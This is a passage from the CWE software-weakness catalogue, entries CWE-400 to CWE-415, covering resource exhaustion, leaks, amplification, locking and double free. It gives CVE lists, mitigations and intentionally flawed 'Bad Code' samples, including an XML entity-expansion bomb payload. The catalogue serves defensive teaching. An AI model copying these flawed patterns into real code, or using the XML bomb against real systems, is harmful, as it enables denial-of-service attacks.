        Thread t = new Thread(new ClientSocketThread(client));
        t.setName(client.getInetAddress().getHostName() + ":" + counter++);
        ExecutorService pool = Executors.newFixedThreadPool(MAX_CONNECTIONS);
        pool.execute(t);
    }
    serverSocket.close();
} catch (IOException ex) {...}
}

```

Observed Examples

Reference	Description
CVE-2006-1173	Mail server does not properly handle deeply nested multipart MIME messages, leading to stack exhaustion.
CVE-2007-0897	Chain: anti-virus product encounters a malformed file but returns from a function without closing a file descriptor (CWE-775) leading to file descriptor consumption (CWE-400) and failed scans.
CVE-2007-4103	Product allows resource exhaustion via a large number of calls that do not complete a 3-way handshake.
CVE-2008-1700	Product allows attackers to cause a denial of service via a large number of directives, each of which opens a separate window.
CVE-2008-2121	TCP implementation allows attackers to consume CPU and prevent new connections using a TCP SYN flood attack.
CVE-2008-2122	Port scan triggers CPU consumption with processes that attempt to read data from closed sockets.
CVE-2008-5180	Communication product allows memory consumption with a large number of SIP requests, which cause many sessions to be created.
CVE-2009-1928	Malformed request triggers uncontrolled recursion, leading to stack exhaustion.
CVE-2009-2054	Product allows exhaustion of file descriptors when processing a large number of TCP packets.
CVE-2009-2299	Web application firewall consumes excessive memory when an HTTP request contains a large Content-Length value but no POST data.
CVE-2009-2540	Large integer value for a length property in an object causes a large amount of memory allocation.
CVE-2009-2726	Driver does not use a maximum width when invoking sscanf style functions, causing stack consumption.
CVE-2009-2858	Chain: memory leak (CWE-404) leads to resource exhaustion.
CVE-2009-2874	Product allows attackers to cause a crash via a large number of connections.

Potential Mitigations

Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Architecture and Design

Mitigation of resource exhaustion attacks requires that the target system either:
 recognizes the attack and denies that user further access for a given amount of time, or
 uniformly throttles all requests in order to make it more difficult to consume resources more
 quickly than they can again be freed.

The first of these solutions is an issue in itself though, since it may allow attackers to prevent the
 use of the system by a particular valid user. If the attacker impersonates the valid user, they may
 be able to prevent the user from accessing the server in question.

The second solution is simply difficult to effectively institute -- and even when properly done, it
 does not provide a full solution. It simply makes the attack require more resources on the part of
 the attacker.

Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

Other Notes

Database queries that take a long time to process are good DoS targets. An attacker would have
 to write a few lines of Perl code to generate enough traffic to exceed the site's ability to keep
 up. This would effectively prevent authorized users from using the site at all. Resources can be
 exploited simply by ensuring that the target machine must do much more work and consume more
 resources in order to service a request than the attacker must do to initiate a request.

A prime example of this can be found in old switches that were vulnerable to "macof" attacks (so
 named for a tool developed by Dugsong). These attacks flooded a switch with random IP and
 MAC address combinations, therefore exhausting the switch's cache, which held the information
 of which port corresponded to which MAC addresses. Once this cache was exhausted, the switch
 would fail in an insecure way and would begin to act simply as a hub, broadcasting all traffic on all
 ports and allowing for basic sniffing attacks.

CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak')

Weakness ID: 401 (Weakness Base)

Status: Draft

Description

Summary

The software does not sufficiently track and release allocated memory after it has been used, which slowly consumes remaining memory.

Extended Description

This is often triggered by improper handling of malformed data or unexpectedly interrupted sessions.

Alternate Terms

Memory Leak

Terminology Notes

"memory leak" has sometimes been used to describe other kinds of issues, e.g. for information leaks in which the contents of memory are inadvertently leaked (CVE-2003-0400 is one such example of this terminology conflict).

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Modes of Introduction

Memory leaks have two common and sometimes overlapping causes:

Error conditions and other exceptional circumstances

Confusion over which part of the program is responsible for freeing the memory

Common Consequences

Availability

DoS: crash / exit / restart

DoS: instability

DoS: resource consumption (CPU)

DoS: resource consumption (memory)

Most memory leaks result in general software reliability problems, but if an attacker can intentionally trigger a memory leak, the attacker might be able to launch a denial of service attack (by crashing or hanging the program) or take advantage of other unexpected program behavior resulting from a low memory condition.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:

The following C function leaks a block of allocated memory if the call to read() does not return the expected number of bytes:

C Example:

Bad Code

```
char* getBlock(int fd) {
    char* buf = (char*) malloc(BLOCK_SIZE);
    if (!buf) {
        return NULL;
    }
    if (read(fd, buf, BLOCK_SIZE) != BLOCK_SIZE) {
        return NULL;
    }
    return buf;
}
```

Example 2:

Here the problem is that every time a connection is made, more memory is allocated. So if one just opened up more and more connections, eventually the machine would run out of memory.

C Example:

Bad Code

```
bar connection(){
    foo = malloc(1024);
    return foo;
}
endConnection(bar foo) {
    free(foo);
}
int main() {
    while(1) //thread 1
        //On a connection
        foo=connection(); //thread 2
        //When the connection ends
        endConnection(foo)
}
```

Observed Examples

Reference	Description
CVE-2001-0136	Memory leak via a series of the same command.
CVE-2002-0574	chain: reference count is not decremented, leading to memory leak in OS by sending ICMP packets.
CVE-2004-0222	Memory leak via unknown manipulations as part of protocol test suite.
CVE-2004-0427	Memory leak when counter variable is not decremented.
CVE-2005-3119	Memory leak because function does not free() an element of a data structure.
CVE-2005-3181	Kernel uses wrong function to release a data structure, preventing data from being properly tracked by other code.

Potential Mitigations

Implementation

Libraries or Frameworks

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.

For example, glibc in Linux provides protection against free of invalid pointers.

When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [R.401.2].

To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as `std::auto_ptr` (defined by ISO/IEC ISO/IEC 14882:2003), `std::shared_ptr` and `std::weak_ptr` (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

Architecture and Design

Build and Compilation

The Boehm-Demers-Weiser Garbage Collector or valgrind can be used to detect leaks in code.

This is not a complete solution as it is not 100% effective.

CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak')

Weakness ID: 402 (Weakness Class)

Status: Draft

Description**Summary**

The software makes resources available to untrusted parties when those resources are only intended to be accessed by the software.

Alternate Terms**Resource Leak****Time of Introduction**

- Architecture and Design
- Implementation

Common Consequences**Confidentiality****Read application data****Relationships**

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Resource leaks

CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')

Weakness ID: 403 (*Weakness Base*)

Status: Draft

Description**Summary**

A process does not close sensitive file descriptors before invoking a child process, which allows the child to perform unauthorized I/O operations using those descriptors.

Extended Description

When a new process is forked or executed, the child process inherits any open file descriptors. When the child process has fewer privileges than the parent process, this might introduce a vulnerability if the child process can access the file descriptor but does not have the privileges to access the associated file.

Alternate Terms**File descriptor leak**

While this issue is frequently called a file descriptor leak, the "leak" term is often used in two different ways - exposure of a resource, or consumption of a resource. Use of this term could cause confusion.

CWE-404: Improper Resource Shutdown or Release**Weakness ID:** 404 (*Weakness Base*)**Status:** Draft**Description****Summary**

The program does not release or incorrectly releases a resource before it is made available for re-use.

Extended Description

When a resource is created or allocated, the developer is responsible for properly releasing the resource as well as accounting for all potential paths of expiration or invalidation, such as a set period of time or revocation.

Time of Introduction

- Architecture and Design

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Availability

Other

DoS: resource consumption (other)

Varies by context

Most unreleased resource issues result in general software reliability problems, but if an attacker can intentionally trigger a resource leak, the attacker might be able to launch a denial of service attack by depleting the resource pool.

Confidentiality

Read application data

When a resource containing sensitive information is not correctly shutdown, it may expose the sensitive data in a subsequent allocation.

Likelihood of Exploit

Medium

Detection Methods

Automated Dynamic Analysis

Moderate

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Resource clean up errors might be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Demonstrative Examples

Example 1:

The following method never closes the file handle it opens. The `Finalize()` method for `StreamReader` eventually calls `Close()`, but there is no guarantee as to how long it will take before the `Finalize()` method is invoked. In fact, there is no guarantee that `Finalize()` will ever be invoked. In a busy environment, this can result in the VM using up all of its available file handles.

Java Example:

Bad Code

```
private void processFile(string fName) {
    StreamWriter sw = new StreamWriter(fName);
    string line;
    while ((line = sr.ReadLine()) != null){
        processLine(line);
    }
}
```

Example 2:

This code attempts to open a connection to a database and catches any exceptions that may occur.

Java Example:*Bad Code*

```
try {
    Connection con = DriverManager.getConnection(some_connection_string);
}
catch ( Exception e ) {
    log( e );
}
```

If an exception occurs after establishing the database connection and before the same connection closes, the pool of database connections may become exhausted. If the number of available connections is exceeded, other users cannot access this resource, effectively denying access to the application.

Example 3:

Under normal conditions the following C# code executes a database query, processes the results returned by the database, and closes the allocated SqlConnection object. But if an exception occurs while executing the SQL or processing the results, the SqlConnection object is not closed. If this happens often enough, the database will run out of available cursors and not be able to execute any more SQL queries.

C# Example:*Bad Code*

```
...
SqlConnection conn = new SqlConnection(connString);
SqlCommand cmd = new SqlCommand(queryString);
cmd.Connection = conn;
conn.Open();
SqlDataReader rdr = cmd.ExecuteReader();
HarvestResults(rdr);
conn.Connection.Close();
...
```

Example 4:

The following C function does not close the file handle it opens if an error occurs. If the process is long-lived, the process can run out of file handles.

C Example:*Bad Code*

```
int decodeFile(char* fName) {
    char buf[BUF_SZ];
    FILE* f = fopen(fName, "r");
    if (!f) {
        printf("cannot open %s\n", fName);
        return DECODE_FAIL;
    }
    else {
        while (fgets(buf, BUF_SZ, f)) {
            if (!checkChecksum(buf)) {
                return DECODE_FAIL;
            }
            else {
                decodeBlock(buf);
            }
        }
    }
    fclose(f);
    return DECODE_SUCCESS;
}
```

Example 5:

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

C++ Example:*Bad Code*

```
class A {
    void foo();
};
void A::foo(){
```

```
int *ptr;
ptr = (int*)malloc(sizeof(int));
delete ptr;
}
```

Example 6:

In this example, the program calls the delete[] function on non-heap memory.

C++ Example:

Bad Code

```
class A{
    void foo(bool);
};
void A::foo(bool heap) {
    int localArray[2] = {
        11,22
    };
    int *p = localArray;
    if (heap){
        p = new int[2];
    }
    delete[] p;
}
```

Observed Examples

Reference	Description
CVE-1999-1127	Does not shut down named pipe connections if malformed data is sent.
CVE-2001-0830	Sockets not properly closed when attacker repeatedly connects and disconnects from server.
CVE-2002-1372	Return values of file/socket operations not checked, allowing resultant consumption of file descriptors.

Potential Mitigations**Requirements****Language Selection**

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, languages such as Java, Ruby, and Lisp perform automatic garbage collection that releases memory for objects that have been deallocated.

Implementation

It is good practice to be responsible for freeing all resources you allocate and to be consistent with how and where you free memory in a function. If you allocate memory that you intend to free upon completion of the function, you must be sure to free the memory at all exit points for that function including error conditions.

Implementation

Memory should be allocated/freed using matching functions such as malloc/free, new/delete, and new[]/delete[].

Implementation

When releasing a complex object or structure, ensure that you properly dispose of all of its member components, not just the object itself.

Weakness Ordinalities**Primary** (where the weakness exists independent of other weaknesses)

Improper release or shutdown of resources can be primary to resource exhaustion, performance, and information confidentiality problems to name a few.

Resultant (where the weakness is typically related to the presence of some other weaknesses)

Improper release or shutdown of resources can be resultant from improper error handling or insufficient resource tracking.

CWE-405: Asymmetric Resource Consumption (Amplification)

Weakness ID: 405 (Weakness Class)

Status: Incomplete

Description

Summary

Software that does not appropriately monitor or control resource consumption can lead to adverse system performance.

Extended Description

This situation is amplified if the software allows malicious users or attackers to consume more resources than their access level permits. Exploiting such a weakness can lead to asymmetric resource consumption, aiding in amplification attacks against the system or the network.

Time of Introduction

- Operation
- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Availability

DoS: amplification

DoS: resource consumption (other)

Sometimes this is a factor in "flood" attacks, but other types of amplification exist.

Potential Mitigations

Architecture and Design

An application must make resources available to a client commensurate with the client's access level.

Architecture and Design

An application must, at all times, keep track of allocated resources and meter their usage appropriately.

CERT Java Secure Coding	FIO04-J		Release resources when they are no longer needed

CWE-406: Insufficient Control of Network Message Volume (Network Amplification)

Weakness ID: 406 (Weakness Base)

Status: Incomplete

Description

Summary

The software does not sufficiently monitor or control transmitted network traffic volume, so that an actor can cause the software to transmit more traffic than should be allowed for that actor.

Extended Description

In the absence of a policy to restrict asymmetric resource consumption, the application or system cannot distinguish between legitimate transmissions and traffic intended to serve as an amplifying attack on target systems. Systems can often be configured to restrict the amount of traffic sent out on behalf of a client, based on the client's origin or access level. This is usually defined in a resource allocation policy. In the absence of a mechanism to keep track of transmissions, the system or application can be easily abused to transmit asymmetrically greater traffic than the request or client should be permitted to.

Time of Introduction

- Operation
- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

If the application uses UDP, then it could potentially be subject to spoofing attacks that use the inherent weaknesses of UDP to perform traffic amplification, although this problem can exist in other protocols or contexts.

Common Consequences

Availability

DoS: amplification

DoS: crash / exit / restart

DoS: resource consumption (CPU)

DoS: resource consumption (memory)

DoS: resource consumption (other)

System resources can be quickly consumed leading to poor application performance or system crash. This may affect network performance and could be used to attack other systems and applications relying on network performance.

Demonstrative Examples

This code listens on a port for DNS requests and sends the result to the requesting address.

Python Example:

Bad Code

```
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind( (UDP_IP,UDP_PORT) )
while true:
    data = sock.recvfrom(1024)
    if not data:
        break
    (requestIP, nameToResolve) = parseUDPpacket(data)
    record = resolveName(nameToResolve)
    sendResponse(requestIP,record)
```

This code sends a DNS record to a requesting IP address. UDP allows the source IP address to be easily changed ('spoofed'), thus allowing an attacker to redirect responses to a target, which may be then be overwhelmed by the network traffic.

Observed Examples

Reference	Description
CVE-1999-0513	Classic "Smurf" attack, using spoofed ICMP packets to broadcast addresses.
CVE-1999-1066	Game server sends a large amount.
CVE-1999-1379	DNS query with spoofed source address causes more traffic to be returned to spoofed address than was sent by the attacker.
CVE-2000-0041	Large datagrams are sent in response to malformed datagrams.
CVE-2013-5211	composite: NTP feature generates large responses (high amplification factor) with spoofed UDP source addresses.

Potential Mitigations

Architecture and Design

Separation of Privilege

An application must make network resources available to a client commensurate with the client's access level.

Policy

Define a clear policy for network resource allocation and consumption.

Implementation

An application must, at all times, keep track of network resources and meter their usage appropriately.

Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		405	Asymmetric Resource Consumption (Amplification)	699 1000	690
ChildOf		977	SFP Secondary Cluster: Design	888	1371
MemberOf		884	CWE Cross-section	884	1306
CanFollow		941	Incorrectly Specified Destination in a Communication Channel	1000	1354

Relationship Notes

This can be resultant from weaknesses that simplify spoofing attacks.

Theoretical Notes

Network amplification, when performed with spoofing, is normally a multi-channel attack from attacker (acting as user) to amplifier, and amplifier to victim.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Network Amplification

CWE-407: Algorithmic Complexity

Weakness ID: 407 (Weakness Base)

Status: Incomplete

Description

Summary

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Availability**DoS: resource consumption (CPU)****DoS: resource consumption (memory)****DoS: resource consumption (other)**

The typical consequence is CPU consumption, but memory consumption and consumption of other resources can also occur.

Likelihood of Exploit

Low

Observed Examples

Reference	Description
CVE-2001-1501	CPU and memory consumption using many wildcards.
CVE-2002-1203	Product performs unnecessary processing before dropping an invalid packet.
CVE-2003-0244	CPU consumption via inputs that cause many hash table collisions.
CVE-2003-0364	CPU consumption via inputs that cause many hash table collisions.
CVE-2004-2527	Product allows attackers to cause multiple copies of a program to be loaded more quickly than the program can detect that other copies are running, then exit. This type of error should probably have its own category, where teardown takes more time than initialization.
CVE-2005-1792	Memory leak by performing actions faster than the software can clear them.
CVE-2005-2506	OS allows attackers to cause a denial of service (CPU consumption) via crafted Gregorian dates.
CVE-2006-3379	Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity.
CVE-2006-3380	Wiki allows remote attackers to cause a denial of service (CPU consumption) by performing a diff between large, crafted pages that trigger the worst case algorithmic complexity.
CVE-2006-6931	Network monitoring system allows remote attackers to cause a denial of service (CPU consumption and detection outage) via crafted network traffic, aka a "backtracking attack."

CWE-408: Incorrect Behavior Order: Early Amplification

Weakness ID: 408 (Weakness Base)

Status: Draft

Description**Summary**

The software allows an entity to perform a legitimate but expensive operation before authentication or authorization has taken place.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences**Availability****DoS: amplification****DoS: crash / exit / restart****DoS: resource consumption (CPU)****DoS: resource consumption (memory)**

System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.

Demonstrative Examples

This data prints the contents of a specified file requested by a user.

PHP Example:*Bad Code*

```
function printFile($username,$filename){
    //read file into string
    $file = file_get_contents($filename);
    if ($file && isOwnerOf($username,$filename)){
        echo $file;
        return true;
    }
    else{
        echo 'You are not authorized to view this file';
    }
    return false;
}
```

This code first reads a specified file into memory, then prints the file if the user is authorized to see its contents. The read of the file into memory may be resource intensive and is unnecessary if the user is not allowed to see the file anyway.

Observed Examples

Reference	Description
CVE-2004-2458	Tool creates directories before authenticating user.

Relationships

Nature	Type	ID	Name	V	Page

MemberOf	<input checked="" type="checkbox"/>	884	CWE Cross-section	<input checked="" type="checkbox"/>	884 1306

Relationship Notes

Overlaps authentication errors.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Early Amplification

CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)

Weakness ID: 409 (*Weakness Base*)**Status:** Incomplete**Description****Summary**

The software does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output.

Extended Description

An example of data amplification is a "decompression bomb," a small ZIP file that can produce a large amount of data when it is decompressed.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Availability

DoS: amplification

DoS: crash / exit / restart

DoS: resource consumption (CPU)

DoS: resource consumption (memory)

System resources, CPU and memory, can be quickly consumed. This can lead to poor system performance or system crash.

Demonstrative Examples

The DTD and the very brief XML below illustrate what is meant by an XML bomb. The ZERO entity contains one character, the letter A. The choice of entity name ZERO is being used to indicate length equivalent to that exponent on two, that is, the length of ZERO is 2^0 . Similarly, ONE refers to ZERO twice, therefore the XML parser will expand ONE to a length of 2, or 2^1 . Ultimately, we reach entity THIRTYTWO, which will expand to 2^{32} characters in length, or 4 GB, probably consuming far more data than expected.

XML Example:

Attack

```
<?xml version="1.0"?>
<!DOCTYPE MaliciousDTD [
<!ENTITY ZERO "A">
<!ENTITY ONE "&ZERO;&ZERO;">
<!ENTITY TWO "&ONE;&ONE;">
...
<!ENTITY THIRTYTWO "&THIRTYONE;&THIRTYONE;">
]>
<data>&THIRTYTWO;</data>
```

Observed Examples

Reference	Description
CVE-2003-1564	Parsing library allows XML bomb
CVE-2009-1955	XML bomb in web server module

CWE-410: Insufficient Resource Pool

Weakness ID: 410 (Weakness Base)

Status: Incomplete

Description

Summary

The software's resource pool is not large enough to handle peak demand, which allows an attacker to prevent others from accessing the resource by using a (relatively) large number of requests for resources.

Extended Description

Frequently the consequence is a "flood" of connection or sessions.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Availability

Integrity

Other

DoS: crash / exit / restart

Other

Floods often cause a crash or other problem besides denial of the resource itself; these are likely examples of *other* vulnerabilities, not an insufficient resource pool.

Demonstrative Examples

In the following snippet from a Tomcat configuration file, a JDBC connection pool is defined with a maximum of 5 simultaneous connections (with a 60 second timeout). In this case, it may be trivial for an attacker to instigate a denial of service (DoS) by using up all of the available connections in the pool.

XML Example:

Bad Code

```
<Resource name="jdbc/exampledb"
auth="Container"
type="javax.sql.DataSource"
removeAbandoned="true"
removeAbandonedTimeout="30"
maxActive="5"
maxIdle="5"
maxWait="60000"
username="testuser"
password="testpass"
driverClassName="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost/exampledb"/>
```

Observed Examples

Reference	Description
CVE-1999-1363	Large number of locks on file exhausts the pool and causes crash.
CVE-2001-1340	Product supports only one connection and does not disconnect a user who does not provide credentials.
CVE-2002-0406	Large number of connections without providing credentials allows connection exhaustion.

Potential Mitigations

Architecture and Design

Do not perform resource-intensive transactions for unauthenticated users and/or invalid requests.

Architecture and Design

Consider implementing a velocity check mechanism which would detect abusive behavior.

Operation

Consider load balancing as an option to handle heavy loads.

Implementation

Make sure that resource handles are properly closed when no longer needed.

Architecture and Design

Identify the system's resource intensive operations and consider protecting them from abuse (e.g. malicious automated script which runs the resources out).

Relationships

CWE-411: Resource Locking Problems

Category ID: 411 (Category)

Status: Draft

Description**Summary**

Weaknesses in this category are related to improper handling of locks that are used to control access to resources.

Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf	C	399	Resource Management Errors	699	675
ParentOf	B	412	<i>Unrestricted Externally Accessible Lock</i>	699	698
ParentOf	B	413	<i>Improper Resource Locking</i>	699	700
ParentOf	B	414	<i>Missing Lock Check</i>	699	703

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Resource Locking problems

CWE-412: Unrestricted Externally Accessible Lock

Weakness ID: 412 (Weakness Base)

Status: Incomplete

Description**Summary**

The software properly checks for the existence of a lock, but the lock can be externally controlled or influenced by an actor that is outside of the intended sphere of control.

Extended Description

This prevents the software from acting on associated resources or performing other behaviors that are controlled by the presence of the lock. Relevant locks might include an exclusive lock

or mutex, or modifying a shared resource that is treated as a lock. If the lock can be held for an indefinite period of time, then the denial of service could be permanent.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Availability

DoS: resource consumption (other)

When an attacker can control a lock, the program may wait indefinitely until the attacker releases the lock, causing a denial of service to other users of the program. This is especially problematic if there is a blocking operation on the lock.

Detection Methods

White Box

Automated code analysis techniques might not be able to reliably detect this weakness, since the application's behavior and general security model dictate which resource locks are critical. Interpretation of the weakness might require knowledge of the environment, e.g. if the existence of a file is used as a lock, but the file is created in a world-writable directory.

Demonstrative Examples

This code tries to obtain a lock for a file, then writes to it.

PHP Example:

Bad Code

```
function writeToLog($message){
    $logfile = fopen("logFile.log", "a");
    //attempt to get logfile lock
    if (flock($logfile, LOCK_EX)) {
        fwrite($logfile,$message);
        // unlock logfile
        flock($logfile, LOCK_UN);
    }
    else {
        print "Could not obtain lock on logFile.log, message not recorded\n";
    }
}
fclose($logfile);
```

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

Observed Examples

Reference	Description
CVE-2000-0338	Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness.
CVE-2000-1198	Chain: Lock files with predictable names. Resultant from randomness.
CVE-2001-0682	Program can not execute when attacker obtains a mutex.
CVE-2002-0051	Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition.
CVE-2002-1869	Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close.
CVE-2002-1914	Program can not execute when attacker obtains a lock on a critical output file.
CVE-2002-1915	Program can not execute when attacker obtains a lock on a critical output file.

Potential Mitigations

**Architecture and Design
 Implementation**

Use any access control that is offered by the functionality that is offering the lock.

**Architecture and Design
 Implementation**

Use unpredictable names or identifiers for the locks. This might not always be possible or feasible.

Architecture and Design

Consider modifying your code to use non-blocking synchronization methods.

Relationships

Nature	Type	ID	Name	✓	Page
ChildOf	C	361	7PK - Time and State	699 700	617

25	Forced Deadlock	

CWE-413: Improper Resource Locking

CWE-413: Improper Resource Locking

Weakness ID: 413 (Weakness Base) Status: Draft

Description

Summary

The software does not lock or does not correctly lock a resource when the software must have exclusive access to the resource.

Extended Description

When a resource is not properly locked, an attacker could modify the resource while it is being operated on by the software. This might violate the software's assumption that the resource will not change, potentially leading to unexpected behaviors.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Availability

Modify application data

DoS: instability

DoS: crash / exit / restart

Demonstrative Examples

Example 1:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

C Example:

Bad Code

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by `pthread_mutex_lock()` for errors. If `pthread_mutex_lock()` cannot acquire the mutex for any reason the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting it to higher levels.

C Example:

Good Code

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

Example 2:

This Java example shows a simple `BankAccount` class with `deposit` and `withdraw` methods.

Java Example:

Bad Code

```
public class BankAccount {
    // variable for bank account balance
    private double accountBalance;
    // constructor for BankAccount
    public BankAccount() {
        accountBalance = 0;
    }
    // method to deposit amount into BankAccount
    public void deposit(double depositAmount) {
        double newBalance = accountBalance + depositAmount;
        accountBalance = newBalance;
    }
    // method to withdraw amount from BankAccount
    public void withdraw(double withdrawAmount) {
        double newBalance = accountBalance - withdrawAmount;
        accountBalance = newBalance;
    }
    // other methods for accessing the BankAccount object
    ...
}
```

However, the `deposit` and `withdraw` methods have shared access to the `accountBalance` private class variable. This can result in a race condition if multiple threads attempt to call the `deposit` and `withdraw` methods simultaneously where the `accountBalance` is modified by one thread before another thread has completed modifying the `accountBalance`. For example, if a thread attempts

to withdraw funds using the withdraw method before another thread that is depositing funds using the deposit method completes the deposit then there may not be sufficient funds for the withdraw transaction.

To prevent multiple threads from having simultaneous access to the account balance variable the deposit and withdraw methods should be synchronized using the synchronized modifier.

Java Example:

Good Code

```
public class BankAccount {
    ...
    // synchronized method to deposit amount into BankAccount
    public synchronized void deposit(double depositAmount) {
        ...
    }
    // synchronized method to withdraw amount from BankAccount
    public synchronized void withdraw(double withdrawAmount) {
        ...
    }
    ...
}
```

An alternative solution is to use a lock object to ensure exclusive access to the bank account balance variable. As shown below, the deposit and withdraw methods use the lock object to set a lock to block access to the BankAccount object from other threads until the method has completed updating the bank account balance variable.

Java Example:

Good Code

```
public class BankAccount {
    ...
    // lock object for thread access to methods
    private ReentrantLock balanceChangeLock;
    // condition object to temporarily release lock to other threads
    private Condition sufficientFundsCondition;
    // method to deposit amount into BankAccount
    public void deposit(double amount) {
        // set lock to block access to BankAccount from other threads
        balanceChangeLock.lock();
        try {
            double newBalance = balance + amount;
            balance = newBalance;
            // inform other threads that funds are available
            sufficientFundsCondition.signalAll();
        } catch (Exception e) {...}
        finally {
            // unlock lock object
            balanceChangeLock.unlock();
        }
    }
    // method to withdraw amount from bank account
    public void withdraw(double amount) {
        // set lock to block access to BankAccount from other threads
        balanceChangeLock.lock();
        try {
            while (balance < amount) {
                // temporarily unblock access
                // until sufficient funds are available
                sufficientFundsCondition.await();
            }
            double newBalance = balance - amount;
            balance = newBalance;
        } catch (Exception e) {...}
        finally {
            // unlock lock object
            balanceChangeLock.unlock();
        }
    }
    ...
}
```

}

Potential Mitigations

Architecture and Design

Use a non-conflicting privilege scheme.

Architecture and Design

Implementation

Use synchronization when locking a resource.

CWE-415: Double Free

Weakness ID: 415 (Weakness Variant)

Status: Draft

Description

Summary

The product calls `free()` twice on the same memory address, potentially leading to modification of unexpected memory locations.

Extended Description

When a program calls `free()` twice with the same argument, the program's memory management data structures become corrupted. This corruption can cause the program to crash or, in some circumstances, cause two later calls to `malloc()` to return the same pointer. If `malloc()` returns the same value twice and the program later gives the attacker control over the data that is written into this doubly-allocated memory, the program becomes vulnerable to a buffer overflow attack.

Alternate Terms

Double-free

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Integrity

Confidentiality

Availability

Execute unauthorized code or commands

Doubly freeing memory may result in a write-what-where condition, allowing an attacker to execute arbitrary code.

Likelihood of Exploit

High

Demonstrative Examples

Example 1:

The following code shows a simple example of a double free vulnerability.

C Example:

Bad Code

```
char* ptr = (char*)malloc (SIZE);  
...  
if (abrt) {  
    free(ptr);  
}  
...  
free(ptr);
```

Double free vulnerabilities have two common (and sometimes overlapping) causes:

- Error conditions and other exceptional circumstances
- Confusion over which part of the program is responsible for freeing the memory

Although some double free vulnerabilities are not much more complicated than the previous example, most are spread out across hundreds of lines of code or even different files. Programmers seem particularly susceptible to freeing global variables more than once.

Example 2:

While contrived, this code should be exploitable on Linux distributions which do not ship with heap-chunk check summing turned on.

C Example:

Bad Code

```
#include <stdio.h>
#include <unistd.h>
#define BUFSIZE1 512
#define BUFSIZE2 ((BUFSIZE1/2) - 8)
